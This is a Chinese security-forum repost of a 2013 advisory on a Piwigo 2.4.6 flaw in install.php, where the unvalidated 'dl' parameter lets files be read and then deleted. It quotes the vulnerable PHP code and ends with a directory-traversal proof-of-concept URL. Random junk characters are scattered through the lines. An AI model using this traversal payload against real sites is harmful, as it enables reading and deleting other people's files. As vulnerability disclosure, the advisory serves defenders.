找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2357|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
# ~# p, J  e; L7 u6 \# `, O1 |( L! U7 J; @+ O4 n9 R8 f- q. E
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。- V3 Y, u: {7 ?5 p2 D" K; g) f
====================================================================
& k' G8 Y) s+ k/install.php:
$ {0 R% w+ q2 k3 y8 k-------------$ u. E5 o7 a6 P1 g  A( Y& u6 s
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
) a) R: h6 {1 \114: {
. }* m- Q* r' I/ c7 B' c115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
2 t# h3 j1 G, e  p( j' ?6 E- E3 W116:   header('Cache-Control: no-cache, must-revalidate');5 ^2 p* p* e( [
117:   header('Pragma: no-cache');
: k% @) o: D0 U! t118:   header('Content-Disposition: attachment; filename="database.inc.php"');* j/ y, q7 [3 T1 M. E2 U
119:   header('Content-Transfer-Encoding: binary');
0 g' F& m: ^, ?# `1 z120:   header('Content-Length: '.filesize($filename));
, K; i& v* |* D5 U1 a$ k121:   echo file_get_contents($filename);
) O2 J8 A4 B$ N2 W3 ?122:   unlink($filename);. h: K4 {# D* z* ?, D6 v
123:   exit();
2 A* y5 l9 e) F, V* _124: }
' {9 {, S) I5 s$ \0 I' _; F! {====================================================================
5 l, E  t% l: k& l
% z% M+ E, [. m7 g% P5 ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 [- z% f) r: x- w           Apache 2.4.2 (Win32)
7 b" r; S) n( \" `4 ^           PHP 5.4.4% Z6 z$ d0 c3 Q2 p. Y0 p
           MySQL 5.5.25a
3 o# n! g1 S- V/ t- g
! F( r1 N& ?1 c; cVulnerability discovered by Gjoko 'LiquidWorm' Krstic$ k! ]- {/ k. v: e4 {
                            @zeroscience
4 P: E( x8 J% F7 W& O2 f. T 2 |/ t9 ~; Z$ r# S3 w9 w  G# O
Advisory ID: ZSL-2013-5127' d9 J8 W6 e  w; n/ p/ E
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php. [4 V! y: D, g( l- F) U
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
; E/ t, G* N! s  _+ T* j4 l
+ `# t6 u7 I' b9 G# T( p15.02.2013
7 d' D" |! {$ v) V ! Z# H1 F' j. a5 K* G! M
--- @- A1 O0 Z  z! k+ _/ p; @
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
1 d5 X: M) V3 j+ \0 t1 F) \ ; N0 c, t. G. \& Z6 a' @! b" J& i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表